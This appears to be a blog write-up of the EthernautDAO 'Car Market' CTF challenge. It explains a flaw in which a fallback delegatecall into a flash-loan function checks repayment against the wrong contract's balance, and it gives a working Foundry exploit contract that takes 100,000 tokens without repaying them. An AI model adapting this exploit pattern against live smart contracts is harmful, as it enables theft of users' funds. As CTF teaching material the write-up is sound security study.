EthernautDAO CTF — Car Market Solution

CTF 3: Car Market

  • CarMarket owns 100_000 Car tokens
  • CarFactory owns 100_000 Car tokens
  • CarToken contracts allow each user to mint 1 Token for free (free mint)
  • The first purchase for each user will cost 1 Token
  • After the first purchase, each Car will cost 100_000 Token
  • We start with 0 Token in our balance

Study the contracts

CarToken

  • 100k will be sent to the CarMarket contract via priviledgedMint
  • 100k will be sent to the CarFactory contract priviledgedMint
  • 10k tokens will be available to be minted from end users via the mint

CarMarket

  • _carCost is a private utility function that return the Car price. If it's the first purchase (carCount[_buyer]) it will return 1 token otherwise it will return 100_000 token
  • purchaseCar is the function that allow the user to purchase the Car. It checks that the user has more or equal CarToken balance compared to the cost of the car (see _carCost). After the check, it transfers the tokens from the CarToken contract to the owner of the CarMarket contract, increase the carCount of the user and assign the purchased car to the user via the purchasedCars mapping. One thing to note: the function does not respect the Checks-Effects-Interactions Pattern, so this function could be prone to reentrancy. This is not the case, but if for example CarToken had been an ERC777 token this could have cause plenty of problems.
  • isExistingCustomer return true if the user has purchased already a car
  • other getter function to get the address of CarFactory, CarToken and the number of car purchased by a user
fallback() external {
carMarket = ICarMarket(address(this));
carToken.approve(carFactory, carToken.balanceOf(address(this)));
(bool success, ) = carFactory.delegatecall(msg.data);
require(success, "Delegate call failed");
}
  • approve the CarFactory as a spender of all the CarToken tokens in the CarMarket balance
  • execute a delegatecall on CarFactory passing the whole msg.data (calldata payload)
  • check if the delegatecall has been executed correctly, otherwise it will revert

CarFactory

function flashLoan(uint256 _amount) external {
//checks if the address has purchased a car previously.
require(carMarket.isExistingCustomer(msg.sender), "Not existing customer");
//fetches the balance of the carFactory before loaning out.
uint256 balanceBefore = carToken.balanceOf(carFactory);
//check if there is enough amount in the contract to borrow.
require(balanceBefore >= _amount, "Amount not available");
//transfers the amount to be borrowed to the borrower
carToken.transfer(msg.sender, _amount);
(bool success, ) = msg.sender.call(abi.encodeWithSignature("receivedCarToken(address)", address(this)));
require(success, "Call to target failed");
//fetches the balance of the carFactory after loaning out.
uint256 balanceAfter = carToken.balanceOf(carFactory);
//ensures that the Loan has been paid
require(balanceAfter >= balanceBefore, "Loan not paid in full");
}
  1. it checks that the msg.sender is a CarMarket customer (you must have purchased at least one car)
  2. Store the carFactory CarToken balance in balanceBefore
  3. Check that the _amount requested for the loan is less or equal to the balance of token of CarFactory (from which you are taking the loan from)
  4. Transfer _amount of CarToken from the contract to the msg.sender
  5. Execute the flashloan callback receivedCarToken on the msg.sender contract
  6. Get the new and updated carFactory balance of CarToken
  7. Check that balanceAfter is greater or equal of balanceBefore. This check is needed to be sure that after executing the callback, the msg.sender has repaid the loan.

The Problem

  1. We make a low-level call to CarMarket to trigger the CarMarket.fallback function that will perform execute the flashLoan implementation on CarFactory via delegatecall
  2. The function check that there are enough tokens in the CarFactory balance
  3. Perform the transfer from the contract to the user
  4. Execute the receivedCarToken callback on the caller
  5. Check the CarFactory balance to see if the user has correctly paid the loan

Solution code

  • Create an Alchemy or Infura account to be able to fork the Goerli blockchain
  • Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
  • Run a foundry test that will use the fork to execute the test
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;
import "./utils/BaseTest.sol";
import "src/CarFactory.sol";
import "src/CarMarket.sol";
import "src/CarToken.sol";
contract CarMarketTest is BaseTest {
CarFactory private carFactory;
CarMarket private carMarket;
CarToken private carToken;
constructor() {
string[] memory userLabels = new string[](2);
userLabels[0] = "Alice";
userLabels[1] = "Bob";
preSetUp(2, 100 ether, userLabels);
}
function setUp() public override {
// Call the BaseTest setUp() function that will also create testsing accounts
super.setUp();
// Attach the contract to the addresses on the fork
carFactory = CarFactory(payable(0x012f0c715725683A5405B596f4F55D4AD3046854));
carMarket = CarMarket(payable(0x07AbFccEd19Aeb5148C284Cd39a9ff2Ac835960A));
carToken = CarToken(payable(0x66408824A99FF61ae2e032E3c7a461DED1a6718E));
vm.label(address(carFactory), "CarFactory");
vm.label(address(carMarket), "CarMarket");
vm.label(address(carToken), "CarToken");
}
function testTakeOwnership() public {
address player = users[0];
vm.prank(player); // Deploy the exploit contract
Exploiter exploiter = new Exploiter(carFactory, carMarket, carToken);
// Assert that our user has 0 car purchased
assertEq(carMarket.getCarCount(address(exploiter)), 0);
// Trigger the exploit!
exploiter.startAttack();
// Assert that our user has 2 car purchased (success)
assertEq(carMarket.getCarCount(address(exploiter)), 2);
}
}
contract Exploiter {
CarFactory private carFactory;
CarMarket private carMarket;
CarToken private carToken;
constructor(
CarFactory _carFactory,
CarMarket _carMarket,
CarToken _carToken
) {
carFactory = _carFactory;
carMarket = _carMarket;
carToken = _carToken;
// Approve the carMarket to be able to use all the needed token
// Usually it would be better to single approve only the amount needed for the purchase
// So in total it would be 1 token for the first purchase + 100k tokens for the second one
carToken.approve(address(carMarket), 100_001 ether);
}
function startAttack() public {
// mint free cartoken
carToken.mint();
// puchase our first car with the "free" minted token
carMarket.purchaseCar("blue", "ford mustang", "leet");
// Trigger the flashloan of 100k tokens
(bool success, ) = address(carMarket).call(abi.encodeWithSignature("flashLoan(uint256)", 100_000 ether));
require(success, "flashloan failed");
}
function receivedCarToken(address) external {
// Purchase a new car with the 100k token we received with the loan
carMarket.purchaseCar("red", "ferrari", "aloah");
// in a normal flashloan we would be forced to give back the loan (plus some fee on the loan itself)
// but in this case because the deployer made the error to check the balance on the wrong contract (not the one that was sending the loan)
// we do not need to give it back
}
}

Further reading

Disclaimer

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store